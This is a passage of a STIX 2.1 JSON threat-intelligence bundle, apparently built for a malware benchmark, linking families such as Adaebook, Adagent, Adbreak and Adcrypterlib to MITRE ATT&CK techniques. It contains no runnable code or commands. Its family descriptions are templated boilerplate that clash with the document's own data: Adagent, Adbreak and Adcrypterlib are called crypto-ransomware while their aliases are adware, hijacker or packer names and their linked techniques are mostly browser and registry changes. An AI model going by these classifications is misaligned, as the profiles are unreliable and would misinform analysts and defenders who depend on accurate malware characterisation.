      "id": "relationship--f4e18e47-4700-5a05-82d3-28448aed0e8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ce3417b-ffdf-5b6b-9ddb-5d7306f505d3",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Activitymonitor exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1048.003: Exfiltration Over Alternative Protocol (Exfiltration via SMTP/Email)",
      "description": "MITRE ATT&CK Technique T1048.003 (Exfiltration Over Alternative Protocol (Exfiltration via SMTP/Email)) under tactic Exfiltration.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1048.003",
          "url": "https://attack.mitre.org/techniques/T1048/003/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bbc9c08b-c5a7-5368-8f06-96b6456d9dba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ce3417b-ffdf-5b6b-9ddb-5d7306f505d3",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Activitymonitor exhibits technique T1048.003 (Exfiltration Over Alternative Protocol (Exfiltration via SMTP/Email))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1543.003: Create or Modify System Process: Windows Service",
      "description": "MITRE ATT&CK Technique T1543.003 (Create or Modify System Process: Windows Service) under tactic Persistence.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1543.003",
          "url": "https://attack.mitre.org/techniques/T1543/003/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--90f52001-a99b-5405-92d6-eb9194858783",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ce3417b-ffdf-5b6b-9ddb-5d7306f505d3",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Activitymonitor exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--18402f53-0754-5a74-bd9a-9749cb20e9a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Adaebook",
      "description": "AdaEbook (detected across security vendors as Adware:Win32/AdaEbook, PUA:Win32/AdaEbook, and Trojan:Win32/AdaEbook) is a deceptive software bundling framework and adware program active since 2017. Disguised as a free digital book reader, document converter, or PDF viewer, AdaEbook is distributed via third-party software download portals, torrent trackers, and deceptive push notification landing pages. Once executed on an endpoint, AdaEbook silently unpacks background background services and injects tracking scripts into installed web browsers including Google Chrome, Mozilla Firefox, and Microsoft Edge. The adware modifies default browser shortcuts to route search queries through affiliate monetization hubs and injects aggressive banner advertisements, full-screen interstitial pop-ups, and sponsored hyperlinks into visited websites. In addition to degrading system performance and consuming CPU/disk resources, AdaEbook beacons telemetry regarding host hardware, IP geolocation, user browsing history, and search terms to remote advertising servers to tailor invasive promotional campaigns. (Observed samples in benchmark: 98)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/AdaEbook",
        "PUA:Win32/AdaEbook",
        "Trojan:Win32/AdaEbook",
        "Win32/AdaEbook"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Adaebook",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/adaebook"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f573a074-1256-59e4-9781-f57245040292",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--18402f53-0754-5a74-bd9a-9749cb20e9a0",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adaebook exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1abd91dd-a5ab-5d4d-9e58-0e237f5e5648",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--18402f53-0754-5a74-bd9a-9749cb20e9a0",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adaebook exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dbf7eb8e-1315-5719-a0a9-100620cc37c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--18402f53-0754-5a74-bd9a-9749cb20e9a0",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adaebook exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4a194c8-1cb7-5204-b90d-97639c9b908f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--18402f53-0754-5a74-bd9a-9749cb20e9a0",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adaebook exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--320c4d09-d36f-5be5-b0dd-6f5344a96a86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--18402f53-0754-5a74-bd9a-9749cb20e9a0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adaebook exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ac58dbdd-9a94-5078-b864-9db173d92760",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Adagent",
      "description": "Adagent (classified in antivirus detection telemetry under designations including Ransom:Win32/Adagent, Ransom.Win32.Adagent, and Win32/Adagent) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Adagent executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.AdAgent",
        "PUP.AdAgent",
        "BrowserModifier.AdAgent",
        "Ransom:Win32/Adagent",
        "Ransom.Win32.Adagent",
        "Win32/Adagent"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Adagent",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/adagent"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa6c8c86-1b42-5cf6-bc43-caef1695ecb2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac58dbdd-9a94-5078-b864-9db173d92760",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adagent exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--31aef5d9-90c7-57d8-a71e-06f3827e9063",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac58dbdd-9a94-5078-b864-9db173d92760",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adagent exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca6cb37f-acb8-543b-a42d-459c2c484844",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac58dbdd-9a94-5078-b864-9db173d92760",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adagent exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7421deed-9f01-5790-aad1-ddfebb1b64c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Adanti",
      "description": "Adanti (classified in antivirus detection telemetry under designations including Trojan:Win32/Adanti, Trojan.Win32.Adanti, and Win32/Adanti) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Adanti executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Adanti",
        "PUP.Adanti",
        "Adanti Adware",
        "Trojan:Win32/Adanti",
        "Trojan.Win32.Adanti",
        "Win32/Adanti"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Adanti",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/adanti"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--20e5386c-6e50-506e-97e9-42f037007043",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1566: Phishing",
      "description": "MITRE ATT&CK Technique T1566 (Phishing) under tactic Initial Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1566",
          "url": "https://attack.mitre.org/techniques/T1566/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42868221-8b89-50a3-ab5b-b6be332c7415",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7421deed-9f01-5790-aad1-ddfebb1b64c9",
      "target_ref": "attack-pattern--20e5386c-6e50-506e-97e9-42f037007043",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adanti exhibits technique T1566 (Phishing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ee36b1f-d7ca-5d66-8609-aeb23e1a88f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7421deed-9f01-5790-aad1-ddfebb1b64c9",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adanti exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--752354ca-9caa-50da-a6e0-e65ea749a4b2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7421deed-9f01-5790-aad1-ddfebb1b64c9",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adanti exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b6ed616d-d0cf-5bca-92d0-2a4cac7dcc7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Adbreak",
      "description": "Adbreak (classified in antivirus detection telemetry under designations including Ransom:Win32/Adbreak, Ransom.Win32.Adbreak, and Win32/Adbreak) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Adbreak executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Adbreak",
        "BrowserHijacker.Adbreak",
        "PUP.Adbreak",
        "Ransom:Win32/Adbreak",
        "Ransom.Win32.Adbreak",
        "Win32/Adbreak"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Adbreak",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/adbreak"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--469c59f0-4a54-5c0d-afc6-b9af9b77182b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6ed616d-d0cf-5bca-92d0-2a4cac7dcc7f",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adbreak exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1185: Browser Session Hijacking (Ad injection and tracking)",
      "description": "MITRE ATT&CK Technique T1185 (Browser Session Hijacking (Ad injection and tracking)) under tactic Collection.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1185",
          "url": "https://attack.mitre.org/techniques/T1185/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a004bc9-8265-57cc-9ff9-121002af6797",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6ed616d-d0cf-5bca-92d0-2a4cac7dcc7f",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adbreak exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4e52839-4646-54e5-b650-86223923dd54",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6ed616d-d0cf-5bca-92d0-2a4cac7dcc7f",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adbreak exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--30743dfd-f0e1-5ac7-a497-800d4bfaa317",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Adcrypterlib",
      "description": "Adcrypterlib (classified in antivirus detection telemetry under designations including Ransom:Win32/Adcrypterlib, Ransom.Win32.Adcrypterlib, and Win32/Adcrypterlib) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Adcrypterlib executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Crypter",
        "Packer.AdCrypterLib",
        "Win32/Crypter",
        "Ransom:Win32/Adcrypterlib",
        "Ransom.Win32.Adcrypterlib",
        "Win32/Adcrypterlib"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Adcrypterlib",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/adcrypterlib"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1027.002: Obfuscated Files or Information: Software Packing",
      "description": "MITRE ATT&CK Technique T1027.002 (Obfuscated Files or Information: Software Packing) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1027.002",
          "url": "https://attack.mitre.org/techniques/T1027/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--250dfdc8-533f-5422-9091-67bcd4bfc4c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30743dfd-f0e1-5ac7-a497-800d4bfaa317",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adcrypterlib exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1055.012: Process Injection: Process Hollowing (RunPE)",
      "description": "MITRE ATT&CK Technique T1055.012 (Process Injection: Process Hollowing (RunPE)) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1055.012",
          "url": "https://attack.mitre.org/techniques/T1055/012/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd191318-81e4-5690-a363-10025a497a46",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30743dfd-f0e1-5ac7-a497-800d4bfaa317",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adcrypterlib exhibits technique T1055.012 (Process Injection: Process Hollowing (RunPE))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44868647-fd40-5fec-a8c4-8dca3a30abc3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30743dfd-f0e1-5ac7-a497-800d4bfaa317",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adcrypterlib exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b535a257-ccc5-5766-a53f-008c505f0b9c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30743dfd-f0e1-5ac7-a497-800d4bfaa317",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adcrypterlib exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--63f33f28-a632-5b4d-924f-d4b0b6182eea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30743dfd-f0e1-5ac7-a497-800d4bfaa317",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adcrypterlib exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a3378a11-ec11-5866-ba85-b32fec52b059",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30743dfd-f0e1-5ac7-a497-800d4bfaa317",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Adcrypterlib exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2de035d3-82ca-5afd-956a-e2d08335d61d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Addlyrics",
      "description": "Addlyrics (classified in antivirus detection telemetry under designations including Trojan:Win32/Addlyrics, Trojan.Win32.Addlyrics, and Win32/Addlyrics) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Addlyrics executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 12)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Addlyrics",
        "Trojan.Win32.Addlyrics",
        "Win32/Addlyrics"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Addlyrics",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/addlyrics"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f396b18f-165d-5d87-8364-5f8f2d1d10c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2de035d3-82ca-5afd-956a-e2d08335d61d",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Addlyrics exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1f9238c-90d3-5d6e-baa9-acfeffe2b004",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2de035d3-82ca-5afd-956a-e2d08335d61d",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Addlyrics exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--81633791-c2a8-5c26-beb3-63914cc30f2a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2de035d3-82ca-5afd-956a-e2d08335d61d",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Addlyrics exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d92e290-672b-5799-b729-2773b30f2ed9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2de035d3-82ca-5afd-956a-e2d08335d61d",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Addlyrics exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c1d1cea5-dac0-5c82-b184-74f86fa05a3a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2de035d3-82ca-5afd-956a-e2d08335d61d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Addlyrics exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--87740f09-0d0f-50af-b61a-1bf83f43d710",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Addmepoint",
